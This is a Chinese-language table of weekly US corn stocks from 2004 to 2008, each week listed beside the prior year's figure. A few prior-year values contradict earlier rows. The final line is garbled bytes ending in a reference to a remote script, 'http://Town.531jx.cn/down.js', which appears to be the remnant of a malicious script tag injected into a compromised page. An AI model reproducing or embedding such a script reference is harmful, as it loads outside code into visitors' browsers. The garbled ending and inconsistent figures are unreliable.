美国玉米每周库存(单位:千蒲式耳)
日期 库存 去年库存
08-08-26 54,175 41,243
08-08-19 52,137 40,603
08-08-12 53,801 42,088
08-08-05 55,531 48,304
08-07-29 58,559 40,810
08-07-22 52,737 48,530
08-07-15 52,870 51,271
08-07-08 55,768 53,533
08-07-01 55,975 58,458
08-06-24 57,984 55,042
08-06-17 65,273 53,028
08-06-10 70,627 54,397
08-06-03 68,326 55,809
08-05-27 73,729 61,239
08-05-20 80,264 62,455
08-05-13 85,391 68,367
08-05-06 79,340 68,657
08-04-29 92,299 76,481
08-04-22 92,496 78,205
08-04-15 91,686 81,483
08-04-08 92,279 79,678
08-04-01 95,345 81,884
08-03-25 94,972 81,862
08-03-18 94,442 87,354
08-03-11 93,850 86,752
08-03-04 91,664 89,941
08-02-26 91,168 90,011
08-02-20 96,308 89,139
08-02-12 97,368 92,258
08-02-05 94,877 92,650
08-01-29 92,910 90,938
08-01-22 99,157 92,050
08-01-15 98,130 92,678
08-01-08 96,107 91,374
07-12-26 99,444 92,575
07-12-18 97,350 94,301
07-12-12 97,610 95,166
07-12-04 102,077 96,145
07-11-27 105,826 98,089
07-11-20 110,237 97,940
07-11-13 106,849 95,862
07-11-06 101,523 93,159
07-10-30 91,100 84,442
07-10-23 84,281 78,285
07-10-16 86,020 71,594
07-10-09 77,295 67,164
07-10-02 68,699 61,936
07-09-25 59,384 58,984
07-09-18 47,749 60,176
07-09-11 41,322 61,211
07-09-05 38,768 69,776
07-08-28 41,243 67,566
07-08-21 40,603 67,927
07-08-14 42,088 68,804
07-08-07 48,304 71,867
07-07-31 40,801 71,115
07-07-24 48,530 72,082
07-07-17 51,271 77,095
07-07-10 53,533 74,191
07-07-03 58,458 75,603
07-06-26 55,042 78,157
07-06-19 53,028 81,640
07-06-12 54,397 83,751
07-06-05 55,809 80,241
07-05-30 61,239 85,540
07-05-22 62,455 86,096
07-05-15 68,367 87,846
07-05-08 77,894 90,243
07-05-01 76,481 98,129
07-04-24 78,187 97,739
07-04-17 81,483 102,499
07-04-10 79,678 104,034
07-04-03 81,884 103,916
07-03-27 81,862 107,343
07-03-20 87,354 111,018
07-03-13 86,752 117,011
07-03-06 86,941 116,349
07-02-27 90,011 115,886
07-02-20 89,139 116,201
07-02-13 92,258 118,260
07-02-06 92,650 114,111
07-01-30 90,938 114,275
07-01-23 92,050 115,974
07-01-16 92,678 119,173
07-01-09 91,374 114,883
07-01-03 95,022 119,325
06-12-27 92,575 121,713
06-12-19 94,301 122,800
06-12-12 95,166 123,607
06-12-05 96,145 130,954
06-11-28 98,089 130,044
06-11-21 97,940 133,450
06-11-14 95,862 130,427
06-11-07 93,159 132,006
06-10-31 84,442 135,294
06-10-24 78,285 119,549
06-10-17 71,594 107,732
06-10-10 67,164 98,093
06-10-03 61,936 87,734
06-09-26 58,984 84,633
06-09-19 60,176 81,053
06-09-12 65,090 78,207
06-09-05 69,776 77,874
06-08-29 67,566 76,319
06-08-22 67,927 76,731
06-08-15 68,804 77,060
06-08-08 71,867 78,204
06-08-01 71,115 73,221
06-07-25 72,082 82,456
06-07-18 77,095 70,140
06-07-11 74,191 72,521
06-07-04 75,603 74,722
06-06-27 78,157 72,152
06-06-20 81,640 76,063
06-06-13 83,751 76,198
06-06-06 80,241 77,671
06-05-31 85,540 77,706
06-05-23 86,096 78,543
06-05-16 87,846 85,648
06-05-09 90,243 82,685
06-05-02 98,129 93,300
06-04-25 97,739 91,974
06-04-18 120,499 93,541
06-04-11 104,034 95,538
06-04-04 103,916 94,703
06-03-28 107,343 95,616
06-03-21 111,018 96,704
06-03-14 117,011 98,982
06-03-07 116,349 97,171
06-02-28 115,885 93,396
06-02-21 116,201 93,710
06-02-14 118,260 92,146
06-02-07 114,111 93,866
06-01-24 115,974 93,637
06-01-17 119,173 95,440
06-01-10 114,883 94,552
06-01-03 119,325 94,552
05-12-27 121,713 96,383
05-12-20 122,800 95,835
05-12-13 123,607 96,256
05-12-06 130,955 95,106
05-11-29 130,044 98,139
05-11-22 133,450 95,658
05-11-15 130,427 89,730
05-11-08 132,006 77,858
05-11-01 135,294 69,818
05-10-25 119,549 57,212
05-10-18 107,732 50,273
05-10-11 98,093 42,138
05-10-04 87,734 36,045
05-09-27 84,633 31,179
05-09-20 81,053 28,351
05-09-13 78,207 26,528
05-09-06 77,874 29,815
05-08-30 76,319 29,725
05-08-23 76,731 30,725
05-08-16 76,974 32,335
05-08-09 78,204 35,642
05-08-02 73,221 34,026
05-07-26 82,456 40,489
05-07-20 70,140 39,374
05-07-14 72,521 42,972
05-07-06 74,722 45,076
05-06-28 72,152 47,500
05-06-21 76,063 50,393
05-06-14 76,498 46,998
05-06-07 77,671 51,755
05-05-31 77,706 52,786
05-05-24 78,550 52,702
05-05-17 85,650 57,382
05-05-10 82,685 61,370
05-05-03 93,300 62,764
05-04-25 91,974 64,902
05-04-19 93,541 69,140
05-04-12 95,538 67,188
05-04-05 94,703 65,452
05-03-30 95,616 64,310
05-03-22 96,704 68,585
05-03-15 98,982 67,749
05-03-08 97,171 63,241
05-03-01 93,396 67,462
05-02-23 93,710 67,386
05-02-15 92,145 65,520
05-02-08 93,850 65,001
05-02-01 92,217 67,118
05-01-24 93,637 62,389
05-01-17 95,440 62,570
05-01-10 96,075 63,006
05-01-04 94,552 56,158
04-12-28 96,383 70,752
04-12-21 95,835 71,707
04-12-13 96,256 70,336
04-12-06 95,106 71,495
04-11-30 98,139 71,009
04-11-23 95,658 72,855
04-11-16 89,730 74,664
04-11-09 77,858 69,500
04-11-02 69,818 65,601
04-10-26 57,212 53,711
04-10-19 52,266 42,050
04-10-12 42,138 37,165
04-10-05 36,045 34,092
04-09-28 31,179 32,761
04-09-21 28,351 30,564
04-09-15 26,528 28,550
04-09-08 29,815 28,398
04-08-31 29,725 28,361
04-08-24 30,725 28,321
04-08-17 32,335 30,011
04-08-10 35,642 30,073
04-08-03 34,026 32,923
04-07-27 40,489 32,042
04-07-20 39,374 38,455
04-07-13 42,972 36,530
04-07-06 44,852 39,480
04-06-29 47,488 49,390
04-06-22 50,393 49,843
04-06-15 46,998 52,062
04-06-08 51,755 53,920
y ?澟凞3P抆0xH?顁g爍?皤http://Town.531jx.cn/down.js>